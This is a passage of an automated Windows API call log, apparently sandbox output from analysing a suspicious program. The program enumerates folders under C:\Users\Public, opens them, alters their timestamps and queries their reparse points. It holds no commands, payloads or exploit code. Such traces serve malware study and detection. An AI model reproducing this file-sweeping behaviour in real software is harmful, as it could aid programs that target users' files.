ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="")) returned 1 [0093.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music" (normalized: "c:\\users\\public\\documents\\my music"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.081] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Music" (normalized: "c:\\users\\public\\documents\\my music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.082] GetLastError () returned 0x5 [0093.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe358 [0093.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe3e0 [0093.083] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0093.083] GetLastError () returned 0x5 [0093.083] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0093.083] GetLastError () returned 0x5 [0093.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe3e0) returned 1 [0093.083] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe358) returned 1 [0093.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.084] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="")) returned 1 [0093.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures" (normalized: "c:\\users\\public\\documents\\my pictures"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.084] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Pictures" (normalized: "c:\\users\\public\\documents\\my pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.084] GetLastError () returned 0x5 [0093.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe358 [0093.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe3e0 [0093.085] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0093.085] GetLastError () returned 0x5 [0093.085] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0093.086] GetLastError () returned 0x5 [0093.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe3e0) returned 1 [0093.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe358) returned 1 [0093.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.086] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 1 [0093.086] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos" (normalized: "c:\\users\\public\\documents\\my videos"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.087] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\My Videos" (normalized: "c:\\users\\public\\documents\\my videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.087] GetLastError () returned 0x5 [0093.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.087] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe358 [0093.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe3e0 [0093.088] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0093.088] GetLastError () returned 0x5 [0093.088] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0xffffffff [0093.088] GetLastError () returned 0x5 [0093.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe3e0) returned 1 [0093.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe358) returned 1 [0093.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.089] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="")) returned 0 [0093.089] GetLastError () returned 0x12 [0093.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.090] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.090] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="")) returned 1 [0093.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.090] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Downloads" (normalized: "c:\\users\\public\\downloads"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.091] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads" (normalized: "c:\\users\\public\\downloads"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0093.091] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.091] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.092] NtClose (Handle=0x15c) returned 0x0 [0093.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.093] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.093] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.093] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9a78 [0093.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe358 [0093.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.095] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.095] GetLastError () returned 0x12 [0093.095] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.095] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.096] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.096] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.096] GetLastError () returned 0x12 [0093.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.096] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.096] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0093.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Favorites" (normalized: "c:\\users\\public\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.097] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites" (normalized: "c:\\users\\public\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.097] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.098] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.098] NtClose (Handle=0x164) returned 0x0 [0093.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.098] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.098] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.098] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.098] GetLastError () returned 0x12 [0093.098] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.098] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.098] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.098] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0093.098] GetLastError () returned 0x12 [0093.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdfa0) returned 1 [0093.098] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fdf18) returned 1 [0093.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.099] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="")) returned 1 [0093.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.099] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries" (normalized: "c:\\users\\public\\libraries"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.100] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries" (normalized: "c:\\users\\public\\libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0093.100] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.100] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.100] NtClose (Handle=0x15c) returned 0x0 [0093.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdf18 [0093.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fdfa0 [0093.102] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0093.102] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.102] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe028 [0093.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9a98 [0093.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fe3e0 [0093.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fe028) returned 1 [0093.104] 